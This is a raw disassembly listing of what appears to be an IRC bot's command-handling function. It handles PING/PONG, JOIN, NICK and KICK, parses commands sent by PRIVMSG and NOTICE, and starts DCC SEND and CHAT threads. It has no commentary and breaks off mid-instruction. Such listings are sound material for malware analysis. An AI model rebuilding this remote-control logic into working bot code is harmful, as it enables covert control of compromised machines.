var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h Drive = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h Str1 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch Count = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h Dst = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h SubStr = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h Args = byte ptr -8Ch Format = dword ptr -88h Str2 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Source = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h File = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call __alloca_probe push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call _memset push 1Bh ; Count lea eax, [ebp+Str1] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 18h cmp [ebp+Src], ebx jz loc_401F75 push esi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset dec esi lea eax, [ebp+Str] push esi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push offset SubStr ; " :" push eax ; Str call _strstr mov [ebp+var_C], eax lea eax, [ebp+Str] push esi ; Count push eax ; Source lea eax, [ebp+var_4EF8] push eax ; Dest call _strncpy mov esi, offset asc_42CDC0 ; " " lea eax, [ebp+var_4EF8] push esi ; Delim push eax ; Str call _strtok add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+Args] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi ; Delim push ebx ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F75 cmp dword ptr [ebp+Args], ebx jz loc_401F75 push 100h ; Size lea eax, [ebp+var_960] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh ; Count lea eax, [ebp+var_E04] push esi ; Source push eax ; Dest call _strncpy lea eax, [esi+1] push 17h ; Count push eax ; Source lea eax, [ebp+var_C4] push eax ; Dest call _strncpy lea eax, [ebp+var_C4] push offset Delim ; "!" push eax ; Str call _strtok add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi ; Str2 push offset aPing ; "PING" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401CC6 push dword ptr [ebp+Args] ; Args mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] ; int call sub_409823 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, dword ptr [ebp+Args] push esi ; Str2 push offset a001 ; "001" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097D7 push esi ; Str2 push offset a005 ; "005" call _strcmp pop ecx test eax, eax pop ecx jz loc_4097D7 push esi ; Str2 push offset a302_0 ; "302" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+Str2] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh ; Count push eax ; Source push [ebp+arg_1C] ; Dest call _strncpy jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi ; Str2 push offset a433 ; "433" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx ; Str1 push dword_4290A0 ; int push dword_42909C ; int push [ebp+Source] ; Dest call sub_40AE84 add esp, 10h push [ebp+Source] ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409823 loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E04] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, dword ptr [ebp+Args] push esi ; Str2 push offset aKick ; "KICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_401E9A mov esi, [ebp+arg_18] mov [ebp+File], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh ; Count lea eax, [ebp+var_E04] push esi ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+Str2], ebx jz short loc_401E5A push [ebp+Str2] ; Str2 lea eax, [ebp+var_C4] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+Dst] push offset unk_42CD50 ; Format push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] ; int call sub_409823 lea eax, [ebp+Dst] push eax call sub_415D38 add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+File] jnz loc_401DCF push [ebp+Str2] ; Str2 push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_401F75 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] ; Args mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E8D: ; CODE XREF: sub_401ACD+5F6j ; sub_401ACD+8B9j ... push [ebp+arg_4] ; int call sub_409823 jmp loc_404260 ; --------------------------------------------------------------------------- loc_401E9A: ; CODE XREF: sub_401ACD+2F2j push esi ; Str2 push offset aNick ; "NICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_401FDD mov eax, [ebp+Format] mov esi, [ebp+arg_18] inc eax mov [ebp+Src], 3 mov [ebp+File], eax loc_401EC3: ; CODE XREF: sub_401ACD+448j lea eax, [ebp+var_E04] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F10 lea eax, [ebp+var_E04] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F10 push [ebp+File] ; Source lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax ; Dest call _strcpy push [ebp+arg_1C] ; Source push edi ; Dest call _strcat add esp, 10h mov edi, 80h loc_401F10: ; CODE XREF: sub_401ACD+407j ; sub_401ACD+41Ej add esi, edi dec [ebp+Src] jnz short loc_401EC3 lea eax, [ebp+var_C4] test eax, eax jz short loc_401F75 cmp [ebp+File], ebx jz short loc_401F75 push [ebp+Source] ; Str2 lea eax, [ebp+var_C4] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F4D push 0Fh ; Count push [ebp+File] ; Source push [ebp+Source] ; Dest call _strncpy jmp loc_4036A2 ; --------------------------------------------------------------------------- loc_401F4D: ; CODE XREF: sub_401ACD+46Cj mov edi, [ebp+arg_18] xor esi, esi loc_401F52: ; CODE XREF: sub_401ACD+4A6j cmp [edi], bl jz short loc_401F69 lea eax, [ebp+var_E04] push eax ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_401F7D loc_401F69: ; CODE XREF: sub_401ACD+487j inc esi add edi, 80h cmp esi, 3 jl short loc_401F52 loc_401F75: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej pop eax loc_401F78: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A40j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F7D: ; CODE XREF: sub_401ACD+49Aj lea eax, [ebp+var_E04] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+Src], eax jz short loc_401F75 push eax ; Str call _strlen push [ebp+File] ; Str mov edi, eax call _strlen add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F75 push [ebp+Src] shl esi, 7 push [ebp+File] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_45F0] push ebx ; int push eax ; int push [ebp+arg_8] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 24h jmp short loc_401F75 ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401ACD+3DCj push esi ; Str2 push offset aPart ; "PART" call _strcmp pop ecx test eax, eax pop ecx jz short loc_401FFF push esi ; Str2 push offset aQuit ; "QUIT" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402026 loc_401FFF: ; CODE XREF: sub_401ACD+51Fj mov edi, [ebp+arg_18] xor esi, esi loc_402004: ; CODE XREF: sub_401ACD+557j cmp [edi], bl jz short loc_40201A push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_402067 loc_40201A: ; CODE XREF: sub_401ACD+539j inc esi add edi, 80h cmp esi, 3 jl short loc_402004 loc_402026: ; CODE XREF: sub_401ACD+530j push dword ptr [ebp+Args] ; Str2 push offset a353 ; "353" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4020C8 push [ebp+var_80] ; Str2 push [ebp+arg_8] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40205A mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40205A: ; CODE XREF: sub_401ACD+582j push [ebp+var_80] push offset unk_42CCFC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_401ACD+54Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+Dst] push offset unk_42CCDC ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415D38 push dword ptr [ebp+Args] ; Str2 push offset aPart ; "PART" call _strcmp add esp, 18h test eax, eax jnz loc_401F75 lea eax, [ebp+Dst] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4020C8: ; CODE XREF: sub_401ACD+56Dj push dword ptr [ebp+Args] ; Str2 mov esi, offset aPrivmsg ; "PRIVMSG" push esi ; Str1 call _strcmp pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40211C push dword ptr [ebp+Args] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40211C push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409644 cmp dword_429088, ebx jz loc_409644 loc_40211C: ; CODE XREF: sub_401ACD+615j ; sub_401ACD+627j push dword ptr [ebp+Args] ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_4022A2 push dword ptr [ebp+Args] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz loc_4022A2 mov eax, [ebp+Str2] inc [ebp+var_80] push 4 mov [ebp+Format], eax pop esi mov [ebp+var_AC], esi loc_402160: ; CODE XREF: sub_401ACD+891j ; sub_401ACD+8CDj ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax ; Str2 push offset dword_42CCC0 ; Str1 mov [ebp+arg_8], eax call _strcmp pop ecx test eax, eax pop ecx jnz loc_40253B push dword ptr [ebp+esi+Args] ; Str2 push offset aSend ; "SEND" call _strcmp pop ecx test eax, eax pop ecx jnz loc_402402 cmp [ebp+var_A4], ebx jz loc_4023DB push [ebp+esi+Format] mov edi, offset aS_6 ; "%s" lea eax, [ebp+var_1B84] push edi ; Format push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_1B98] push [ebp+esi+Str2] push edi ; Format push eax ; Dest call _sprintf push [ebp+esi+var_80] ; Str call _atoi mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C4] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_1A80] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+Dst] push offset asc_42CC84 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset sub_416563 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40228C: ; CODE XREF: sub_401ACD+7D3j cmp [ebp+var_19F0], ebx jnz loc_4082DE push 32h call ds:dword_427080 ; Sleep jmp short loc_40228C ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_401ACD+65Fj ; sub_401ACD+675j push dword ptr [ebp+Args] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4022BB mov [ebp+var_4], 1 loc_4022BB: ; CODE XREF: sub_401ACD+7E5j cmp [ebp+Format], ebx jz loc_401F75 push offset asc_42CC80 ; "#" push [ebp+Format] ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4022E2 cmp [ebp+var_4], ebx jz short loc_4022EE loc_4022E2: ; CODE XREF: sub_401ACD+80Ej lea eax, [ebp+var_C4] mov [ebp+Format], eax loc_4022EE: ; CODE XREF: sub_401ACD+813j cmp [ebp+Str2], ebx jz loc_401F75 inc [ebp+Str2] jz short loc_40233A cmp [ebp+Source], ebx jz short loc_40233A lea eax, [ebp+Str1] push eax ; Str call _strlen push eax ; MaxCount lea eax, [ebp+Str1] push [ebp+Str2] ; Str2 push eax ; Str1 call _strncmp mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_402340 ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_401ACD+833j ; sub_401ACD+838j mov esi, [ebp+var_AC] loc_402340: ; CODE XREF: sub_401ACD+86Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F75 push edi ; Str2 push offset dword_42CC74 ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_402160 mov ecx, [ebp+Format] cmp byte ptr [ecx], 23h jz short loc_40238B mov eax, dword_4CB888 mov eax, off_429160[eax*4] cmp [eax], bl jz short loc_40238B push eax push ecx push offset dword_42CC58 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_40238B: ; CODE XREF: sub_401ACD+8A0j ; sub_401ACD+8B0j push edi ; Str2 push offset dword_42CC50 ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_402160 mov eax, dword ptr [ebp+esi*4+Args] cmp eax, ebx jz loc_402160 mov ecx, [ebp+Format] cmp byte ptr [ecx], 23h jz loc_402160 push eax push ecx push offset dword_42CC38 jmp loc_401E8D ; --------------------------------------------------------------------------- loc_4023CA: ; CODE XREF: sub_401ACD+7B9j ; sub_401ACD+76B7j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42CBFC jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_401ACD+6DDj lea eax, [ebp+var_C4] push eax push [ebp+esi+Format] push offset asc_42CBB8 ; "-" loc_4023EE: ; CODE XREF: sub_401ACD+7C19j ; sub_401ACD+7C80j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_401ACD+6D1j push dword ptr [ebp+esi+Args] ; Str2 push offset aChat ; "CHAT" call _strcmp pop ecx test eax, eax pop ecx jnz loc_402551 cmp [ebp+var_A4], ebx jz loc_40252A push 1Bh call sub_40B602 test eax, eax pop ecx jnz loc_402519 push [ebp+esi+Str2] lea eax, [ebp+var_2AAC] push offset aS_6 ; "%s" push eax ; Dest call _sprintf push [ebp+esi+var_80] ; Str call _atoi mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C4] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_2994] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+Dst] push offset asc_42CB90 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Bh ; int push eax ; Source call sub_40B3BA add esp, 18h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset sub_416000 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_402508 loc_4024F2: ; CODE XREF: sub_401ACD+A39j cmp [ebp+var_2904], ebx jnz loc_4082DE push 32h call ds:dword_427080 ; Sleep jmp short loc_4024F2 ; --------------------------------------------------------------------------- loc_402508: ; CODE XREF: sub_401ACD+A23j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42CB58 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_401ACD+966j lea eax, [ebp+var_C4] push eax push offset unk_42CB28 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40252A: ; CODE XREF: sub_401ACD+956j lea eax, [ebp+var_C4] push eax push offset unk_42CAF4 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401ACD+6B6j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401F75 loc_402551: ; CODE XREF: sub_401ACD+94Aj mov edi, [edi] push edi ; Str2 push offset aC ; "c" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_40964C push edi ; Str2 push offset aK ; "k" call _strcmp pop ecx test eax, eax pop ecx jz loc_40964C cmp [ebp+var_A4], ebx jnz short loc_4025A2 push dword ptr [ebp+Args] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409644 loc_4025A2: ; CODE XREF: sub_401ACD+AB9j cmp [ebp+arg_28], ebx jnz loc_409644 xor edi, edi cmp dword_4294CC, ebx jle loc_402757 mov [ebp+arg_20], offset dword_43DB90 loc_4025C0: ; CODE XREF: sub_401ACD+B12j push [ebp+arg_8] ; Str2 push [ebp+arg_20] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4025E6 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4294CC jl short loc_4025C0 jmp loc_402757 ; --------------------------------------------------------------------------- loc_4025E6: ; CODE XREF: sub_401ACD+B02j push offset SubStr ; " :" push [ebp+Src] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_401F75 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43DBA8[edi] push 9Fh ; Count add eax, 4 push ecx ; Source push eax ; Dest call _strncpy lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40263B: ; CODE XREF: sub_401ACD+C1Fj push [ebp+arg_20] lea eax, [ebp+SubStr] push offset aD ; "$%d-" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_4026A7 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026A7 lea eax, dword_43DB90[edi] push eax ; Str call _strlen add [ebp+var_C], eax pop ecx jz short loc_4026E2 mov eax, [ebp+arg_C] push dword ptr [eax-4] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4026E2 push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_41843B add esp, 0Ch jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026A7: ; CODE XREF: sub_401ACD+B96j ; sub_401ACD+B9Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026E2 lea eax, [ebp+SubStr] push 2 ; Count push eax ; Source lea eax, [ebp+var_94] push eax ; Dest call _strncpy lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax ; Source lea 